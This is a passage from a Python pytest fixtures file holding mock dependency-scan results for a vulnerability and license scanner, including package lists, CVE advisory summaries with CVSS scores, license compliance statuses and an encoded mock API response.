'2022-07-04T16:15:00Z'},\n                {'cveId': 'CVE-2022-41323', 'status': 'fixed in 4.1.2, 4.0.8, 3.2.16', 'severity': 'high',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-41323', 'cvss': 7.5,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n                 'description': 'In Django 3.2 before 3.2.16, 4.0 before 4.0.8, and 4.1 before 4.1.2, internationalized URLs were subject to a potential denial of service attack via the locale parameter, which is treated as a regular expression.',\n                 'riskFactors': ['Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low',\n                                 'Attack vector: network', 'DoS'], 'publishedDate': '2022-10-16T06:15:00Z'},\n                {'cveId': 'CVE-2022-35918', 'status': 'fixed in 1.11.1', 'severity': 'moderate',\n                 'packageName': 'streamlit', 'packageVersion': '0.88.0',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-35918', 'cvss': 4,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N',\n                 'description': 'Streamlit is a data oriented application development framework for python. Users hosting Streamlit app(s) that use custom components are vulnerable to a directory traversal attack that could leak data from their web server file-system such as: server logs, world readable files, and potentially other sensitive information. An attacker can craft a malicious URL with file paths and the streamlit server would process that URL and return the contents of that file. This issue has been resolved in version 1.11.1. Users are advised to upgrade. There are no known workarounds for this issue.',\n                 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'Medium severity',\n                                 'Recent vulnerability'], 'publishedDate': '2022-08-06T05:51:50Z'},\n                {'cveId': 'CVE-2021-23727', 'status': 'fixed in 5.2.2', 'severity': 'high', 'packageName': 'celery',\n                 'packageVersion': '5.1.2', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23727', 'cvss': 7.5,\n                 'vector': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H',\n                 'description': 'This affects the package celery before 5.2.2. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.',\n                 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability'],\n                 'publishedDate': '2021-12-29T17:15:00Z'},\n                {'cveId': 'PRISMA-2021-0198', 'status': 'fixed in 3.8.0a0', 'severity': 'high',\n                 'packageName': 'aiohttp',\n                 'packageVersion': '3.7.4', 'link': 'https://github.com/aio-libs/aiohttp/issues/4818', 'cvss': 7.5,\n                 'vector': None,\n                 'description': 'aiohttp package versions before 3.8.0a0 are vulnerable to HTTP Header Injection. aiohttp concatenating server-response\\\\\\\\client-request header without any validation, some of the header values based on user input. An attacker can craft urls that will force this handler to return any custom http-headers, or skip some of the existing ones, or break http payload',\n                 'riskFactors': ['Has fix', 'High severity'], 'publishedDate': '2021-12-23T15:55:14Z'},\n                {'cveId': 'CVE-2022-35920', 'status': 'fixed in 22.6.1, 21.12.2, 20.12.7', 'severity': 'high',\n                 'packageName': 'sanic', 'packageVersion': '21.9.1',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-35920', 'cvss': 7.5,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N',\n                 'description': 'Sanic is an opensource python web server/framework. Affected versions of sanic allow access to lateral directories when using `app.static` if using encoded `%2F` URLs. Parent directory traversal is not impacted. Users are advised to upgrade. There is no known workaround for this issue.',\n                 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability',\n                                 'Attack complexity: low'], 'publishedDate': '2022-08-01T22:15:00Z'}],\n                              'name': 'requirements.txt', 'filePath': '/requirements.txt', 'fileContent': None,\n                              'packages': [{'type': 'python', 'name': 'wrapt', 'version': '1.13.2', 'licenses': []},\n                                           {'type': 'python', 'name': 'elasticsearch', 'version': '7.15.1',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'streamlit', 'version': '0.88.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'uvicorn', 'version': '0.11.8',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'multidict', 'version': '5.2.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'pyramid', 'version': '2.0', 'licenses': []},\n                                           {'type': 'python', 'name': 'mysqlclient', 'version': '2.1.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'uvicorn', 'version': '0.16.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'fastapi', 'version': '0.70.1',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'requests', 'version': '2.26.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'urllib3', 'version': '1.26.7',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'django', 'version': '3.2.8', 'licenses': []},\n                                           {'type': 'python', 'name': 'psycopg', 'version': '3.0.1',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'kafka-python', 'version': '2.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'hug', 'version': '2.6.1', 'licenses': []},\n                                           {'type': 'python', 'name': 'redis', 'version': '3.5.3', 'licenses': []},\n                                           {'type': 'python', 'name': 'pymongo', 'version': '3.12.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'tornado', 'version': '6.1', 'licenses': []},\n                                           {'type': 'python', 'name': 'grpcio_tools', 'version': '1.41.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'testcontainers', 'version': '3.4.2',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'flask', 'version': '2.0.2', 'licenses': []},\n                                           {'type': 'python', 'name': 'gevent', 'version': '21.8.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'packaging', 'version': '21.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'contextvars', 'version': '2.4',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'yarl', 'version': '1.7.0', 'licenses': []},\n                                           {'type': 'python', 'name': 'gunicorn', 'version': '20.1.0',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'pyyaml', 'version': '6.0', 'licenses': []},\n                                           {'type': 'python', 'name': 'pytest', 'version': '', 'licenses': []},\n                                           {'type': 'python', 'name': 'celery', 'version': '5.1.2', 'licenses': []},\n                                           {'type': 'python', 'name': 'pika', 'version': '1.2.0', 'licenses': []},\n                                           {'type': 'python', 'name': 'pymysql', 'version': '1.0.2',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'aiohttp', 'version': '3.7.4',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'protobuf', 'version': '3.18.1',\n                                            'licenses': []},\n                                           {'type': 'python', 'name': 'sanic', 'version': '21.9.1', 'licenses': []},\n                                           {'type': 'python', 'name': 'werkzeug', 'version': '2.0.2',\n                                            'licenses': []}],\n                              'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'},\n                              'customerName': 'ajbara', 'email': 'ajbara@paloaltonetworks.com',\n                              'license_statuses': [\n                                  {'packageName': 'pymysql', 'packageVersion': '1.0.2', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'pyyaml', 'packageVersion': '6.0', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'pika', 'packageVersion': '1.2.0', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'requests', 'packageVersion': '2.26.0', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'kafka-python', 'packageVersion': '2.0', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'pyramid', 'packageVersion': '2.0', 'packageLang': 'python',\n                                   'license': 'BSD-derived (Repoze)', 'status': 'OPEN', 'policy': 'BC_LIC_2'},\n                                  {'packageName': 'multidict', 'packageVersion': '5.2.0', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'tornado', 'packageVersion': '6.1', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'protobuf', 'packageVersion': '3.18.1', 'packageLang': 'python',\n                                   'license': '3-Clause BSD License', 'status': 'OPEN', 'policy': 'BC_LIC_2'},\n                                  {'packageName': 'django', 'packageVersion': '3.2.8', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'gunicorn', 'packageVersion': '20.1.0', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'wrapt', 'packageVersion': '1.13.2', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'packaging', 'packageVersion': '21.0', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'packaging', 'packageVersion': '21.0', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'urllib3', 'packageVersion': '1.26.7', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'aiohttp', 'packageVersion': '3.7.4', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'grpcio_tools', 'packageVersion': '1.41.0',\n                                   'packageLang': 'python',\n                                   'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'contextvars', 'packageVersion': '2.4', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'redis', 'packageVersion': '3.5.3', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'sanic', 'packageVersion': '21.9.1', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'hug', 'packageVersion': '2.6.1', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'celery', 'packageVersion': '5.1.2', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'mysqlclient', 'packageVersion': '2.1.0', 'packageLang': 'python',\n                                   'license': 'GPL-1.0',\n                                   'status': 'OPEN', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'werkzeug', 'packageVersion': '2.0.2', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'testcontainers', 'packageVersion': '3.4.2',\n                                   'packageLang': 'python',\n                                   'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'flask', 'packageVersion': '2.0.2', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'gevent', 'packageVersion': '21.8.0', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'yarl', 'packageVersion': '1.7.0', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'fastapi', 'packageVersion': '0.70.1', 'packageLang': 'python',\n                                   'license': 'MIT',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'psycopg', 'packageVersion': '3.0.1', 'packageLang': 'python',\n                                   'license': 'LGPL-3.0',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'pymongo', 'packageVersion': '3.12.0', 'packageLang': 'python',\n                                   'license': 'OSI_APACHE',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'elasticsearch', 'packageVersion': '7.15.1',\n                                   'packageLang': 'python',\n                                   'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'uvicorn', 'packageVersion': '0.16.0', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'streamlit', 'packageVersion': '0.88.0', 'packageLang': 'python',\n                                   'license': 'Apache-2.0',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'},\n                                  {'packageName': 'uvicorn', 'packageVersion': '0.11.8', 'packageLang': 'python',\n                                   'license': 'OSI_BSD',\n                                   'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}]}\n    }\n\n\n@pytest.fixture(scope='package')\ndef scan_result_2_with_comma_in_licenses() -> Dict[str, Any]:\n    return {\n        \"/path/to/requirements.txt\": {\n            \"repository\": \"/path/to/requirements.txt\",\n            \"passed\": True,\n            \"packages\": [\n                {\n                    \"type\": \"python\",\n                    \"name\": \"requests\",\n                    \"version\": \"2.26.0\",\n                    \"path\": \"/path/to/requirements.txt\",\n                },\n                {\n                    \"type\": \"python\",\n                    \"name\": \"django\",\n                    \"version\": \"1.2\",\n                    \"path\": \"/path/to/requirements.txt\",\n                },\n                {\n                    \"type\": \"python\",\n                    \"name\": \"flask\",\n                    \"version\": \"0.6\",\n                    \"path\": \"/path/to/requirements.txt\",\n                },\n            ],\n            \"complianceIssues\": None,\n            \"complianceDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"vulnerabilities\": [\n                {\n                    \"id\": \"CVE-2019-19844\",\n                    \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n                    \"cvss\": 9.8,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                    \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)\",\n                    \"severity\": \"critical\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n                    \"riskFactors\": [\"Attack complexity: low\", \"Attack vector: network\", \"Critical severity\", \"Has fix\"],\n                    \"impactedVersions\": [\"<1.11.27\"],\n                    \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n                    \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n                    \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n                },\n                {\n                    \"id\": \"CVE-2016-6186\",\n                    \"status\": \"fixed in 1.9.8, 1.8.14\",\n                    \"cvss\": 6.1,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\",\n                    \"description\": \"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.\",\n                    \"severity\": \"medium\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-6186\",\n                    \"riskFactors\": [\n                        \"Attack complexity: low\",\n                        \"Attack vector: network\",\n                        \"Exploit exists\",\n                        \"Has fix\",\n                        \"Medium severity\",\n                    ],\n                    \"impactedVersions\": [\"<=1.8.13\"],\n                    \"publishedDate\": \"2016-08-05T17:59:00+02:00\",\n                    \"discoveredDate\": \"2016-08-05T15:59:00Z\",\n                    \"fixDate\": \"2016-08-05T17:59:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2016-7401\",\n                    \"status\": \"fixed in 1.9.10, 1.8.15\",\n                    \"cvss\": 7.5,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\",\n                    \"description\": \"The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-7401\",\n                    \"riskFactors\": [\"High severity\", \"Attack complexity: low\", \"Attack vector: network\", \"Has fix\"],\n                    \"impactedVersions\": [\"<=1.8.14\"],\n                    \"publishedDate\": \"2016-10-03T20:59:00+02:00\",\n                    \"discoveredDate\": \"2016-10-03T18:59:00Z\",\n                    \"fixDate\": \"2016-10-03T20:59:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2021-33203\",\n                    \"status\": \"fixed in 3.2.4, 3.1.12, 2.2.24\",\n                    \"cvss\": 4.9,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N\",\n                    \"description\": \"Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.\",\n                    \"severity\": \"medium\",\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2021-33203\",\n                    \"riskFactors\": [\n                        \"Attack complexity: low\",\n                        \"Attack vector: network\",\n                        \"Has fix\",\n                        \"Medium severity\",\n                        \"Recent vulnerability\",\n                    ],\n                    \"impactedVersions\": [\"<2.2.24\"],\n                    \"publishedDate\": \"2021-06-08T20:15:00+02:00\",\n                    \"discoveredDate\": \"2021-06-08T18:15:00Z\",\n                    \"fixDate\": \"2021-06-08T20:15:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2019-1010083\",\n                    \"status\": \"fixed in 1.0\",\n                    \"cvss\": 7.5,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\n                    \"description\": \"The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-1010083\",\n                    \"riskFactors\": [\n                        \"Attack complexity: low\",\n                        \"Attack vector: network\",\n                        \"DoS\",\n                        \"Has fix\",\n                        \"High severity\",\n                    ],\n                    \"impactedVersions\": [\"<1.0\"],\n                    \"publishedDate\": \"2019-07-17T16:15:00+02:00\",\n                    \"discoveredDate\": \"2019-07-17T14:15:00Z\",\n                    \"fixDate\": \"2019-07-17T16:15:00+02:00\",\n                },\n                {\n                    \"id\": \"CVE-2018-1000656\",\n                    \"status\": \"fixed in 0.12.3\",\n                    \"cvss\": 7.5,\n                    \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\n                    \"description\": \"The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2018-1000656\",\n                    \"riskFactors\": [\n                        \"Attack complexity: low\",\n                        \"Attack vector: network\",\n                        \"DoS\",\n                        \"Has fix\",\n                        \"High severity\",\n                    ],\n                    \"impactedVersions\": [\"<0.12.3\"],\n                    \"publishedDate\": \"2018-08-20T21:31:00+02:00\",\n                    \"discoveredDate\": \"2018-08-20T19:31:00Z\",\n                    \"fixDate\": \"2018-08-20T21:31:00+02:00\",\n                },\n            ],\n            \"vulnerabilityDistribution\": {\"critical\": 1, \"high\": 3, \"medium\": 2, \"low\": 0, \"total\": 6},\n            \"license_statuses\": [\n                {\n                    \"packageName\": \"django\",\n                    \"packageVersion\": \"1.2\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_BDS\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                },\n                {\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_APACHE\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                },\n                {\n                    \"packageName\": \"flask\",\n                    \"packageVersion\": \"0.6\",\n                    \"packageLang\": \"python\",\n                    \"license\": 'DUMMY_OTHER_LICENSE, ANOTHER_DOMMY_LICENSE',  # for testing a comma inside licenses\n                    \"status\": \"OPEN\",\n                    \"policy\": \"BC_LIC_1\"\n                },\n                {\n                    \"packageName\": \"requests\",\n                    \"packageVersion\": \"2.26.0\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_APACHE\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                }\n            ],\n        },\n        \"/path/to/sub/requirements.txt\": {\n            \"repository\": \"/path/to/sub/requirements.txt\",\n            \"passed\": True,\n            \"packages\": [\n                {\n                    \"type\": \"python\",\n                    \"name\": \"requests\",\n                    \"version\": \"2.26.0\",\n                    \"path\": \"/path/to/sub/requirements.txt\",\n                }\n            ],\n            \"complianceIssues\": None,\n            \"complianceDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"vulnerabilities\": None,\n            \"vulnerabilityDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"license_statuses\": [\n                {\n                    \"packageName\": \"requests\",\n                    \"packageVersion\": \"2.26.0\",\n                    \"packageLang\": \"python\",\n                    \"license\": \"OSI_APACHE\",\n                    \"status\": \"COMPLIANT\",\n                    \"policy\": \"BC_LIC_1\"\n                }\n            ],\n        },\n        \"/path/to/go.sum\": {\n            \"repository\": \"/path/to/go.sum\",\n            \"passed\": True,\n            \"packages\": [\n                {\n                    \"type\": \"go\",\n                    \"name\": \"github.com/miekg/dns\",\n                    \"version\": \"v1.1.41\",\n                    \"path\": \"/path/to/go.sum\",\n                },\n                {\n                    \"type\": \"go\",\n                    \"name\": \"golang.org/x/crypto\",\n                    \"version\": \"v0.0.1\",\n                    \"path\": \"/path/to/go.sum\",\n                },\n                {\n                    \"type\": \"go\",\n                    \"name\": \"github.com/dgrijalva/jwt-go\",\n                    \"version\": \"v3.2.0\",\n                    \"path\": \"/path/to/go.sum\",\n                },\n                {\n                    \"type\": \"go\",\n                    \"name\": \"github.com/prometheus/client_model\",\n                    \"version\": \"v0.0.0-20190129233127-fd36f4220a90\",\n                    \"path\": \"/path/to/go.sum\",\n                }\n            ],\n            \"complianceIssues\": None,\n            \"complianceDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n            \"vulnerabilities\": [\n                {\n                    \"id\": \"CVE-2020-29652\",\n                    \"status\": \"fixed in v0.0.2\",\n                    \"cvss\": 7.5,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\n                    \"description\": \"A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.\",\n                    \"severity\": \"high\",\n                    \"packageName\": \"golang.org/x/crypto\",\n                    \"packageVersion\": \"v0.0.1\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-29652\",\n                    \"riskFactors\": [\n                        \"Has fix\",\n                        \"High severity\",\n                        \"Attack complexity: low\",\n                        \"Attack vector: network\",\n                        \"DoS\",\n                    ],\n                    \"impactedVersions\": [\"<v0.0.2\"],\n                    \"publishedDate\": \"2020-12-17T06:15:00+01:00\",\n                    \"discoveredDate\": \"2020-12-17T05:15:00Z\",\n                    \"fixDate\": \"2020-12-17T06:15:00+01:00\",\n                },\n                {\n                    \"id\": \"CVE-2020-26160\",\n                    \"status\": \"fixed in v4.0.0-preview1\",\n                    \"cvss\": 7.7,\n                    \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\n                    \"description\": 'jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\\\\\"aud\\\\\"] (which is allowed by the specification). Because the type assertion fails, \\\\\"\\\\\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check.',\n                    \"severity\": \"high\",\n                    \"packageName\": \"github.com/dgrijalva/jwt-go\",\n                    \"packageVersion\": \"v3.2.0\",\n                    \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2020-26160\",\n                    \"riskFactors\": [\"High severity\", \"Attack complexity: low\", \"Attack vector: network\", \"Has fix\"],\n                    \"impactedVersions\": [\"<v4.0.0-preview1\"],\n                    \"publishedDate\": \"2020-09-30T20:15:00+02:00\",\n                    \"discoveredDate\": \"2020-09-30T18:15:00Z\",\n                    \"fixDate\": \"2020-09-30T20:15:00+02:00\",\n                },\n            ],\n            \"vulnerabilityDistribution\": {\"critical\": 0, \"high\": 2, \"medium\": 0, \"low\": 0, \"total\": 2},\n        }, }\n\n\n@pytest.fixture()\n@mock.patch.dict(os.environ, {})\ndef scan_result_success_response() -> Dict[str, Any]:\n    return {'outputType': 'Result',\n            'outputData': \"H4sIAN22X2IC/8WY23LbOBKGX6VLN5tUWRQp\"\n                          \"+SCrZi88drL2VqKkLMUzNZu5gEjIQkwSXAKUrU3l3fdvgDofnNS4MheJKbIJdAP\"\n                          \"/193g10YpC22U1eWs0aNGy2ZFq5SmSq3B3/9WqpSZzK0J7JNtHFGjEMbIBKa2rKT7HT\"\n                          \"+Ie2lw5z9fG3ZWSB6mmNmJztk+F5m7k3wR+b3mO1NZGoWHuBkFbT+mnTw\"\n                          \"/+bcjOjTBOBXmYWP8MDh9sfHZXhprNqZoB+3TIPyBWf6EaayzIlUij\"\n                          \"+WNMZVbvLxK07UnV8rYUo0q6yf62ohLZVUsUvwIYTlR95P6MpOJqrL6R6of6yurrbf+xi5XaS5LMVIpRplvl\"\n                          \"+KNbFzevWm2w+i0eRp13XoZK2xl3KKqJ5mQyikKzoPuEf50g+iYbeKpYYvTIHLrEUNAfqzBoNcJwtbFXa\"\n                          \"/furjsvWt9vMXVp5vebWvQu2zxnRv8u+j1eZhEGsRV1EE2LkttTBNylFTfz+/p1e\"\n                          \"+DwWtaDWDGLtmJpESZTBlzOYG45K1MhZXJh9EXuPNRF1VB4yqPeWy2j3XOC9oSSabyFseo4vrHF1NfrA3x\"\n                          \"TuuHqjDBF8OvXzkB00iOdSnrhThy6/K0vOkWSeQJLqNw9UEUlnFEIsXuGIIeNCIU1gIeSImsxgw8JYlypGw\"\n                          \"pyhk9ylG9BqRLuh6+f0dTJcgvNXs01emUl6fKjRhLqgwwJD2mN6mTW6ByrBe/F7g9lRAtVo5XudbLkt7+Fq\"\n                          \"T1g7stVlOVP/DPibWF6bVa+TQJckg1uNfTFu9RK5FWqLS1papSmYe3wnnP6mtcuPDJKV4+wbUesXZhWT/xoQ\"\n                          \"INaR916dh+81SkWlmCfY3itTAElfLlexcWLSJl0lSGSLCjdSB+5l/+6bav4yyKapQqM5HJFXbeEc1Oh91meD\"\n                          \"KMTnon570w/MNJVZlYY+jnLeHPQROXaTbYOzsOowPsRWEN38kKfGfByffC1wd8nwBfH/Bd74FvCKBiaF5JKgS\"\n                          \"WC9qKdSL3iP+k1vmG/tnRx4nMoUd4D/IEOZwflZ3Qv7S+TyVd5CKdgT5zdIiI0YxrDWaBA1bmCYa7HNy+paKE\"\n                          \"qac6kzHIRw6AMfbdunSxRMgHY7b071LnT1L/fF9fQv0rWr9GCN+v9OMDSo/CZtgZRt3nlb7DclPpmybbSj9vR\"\n                          \"ufd4+M9Uod4uaCgqAbnLPgI6362oniXX7cVHx1Q/HWt+Osdit+UtZuOp19IuvaEpd5Z3nVuzrUr4lhXuSUrHi\"\n                          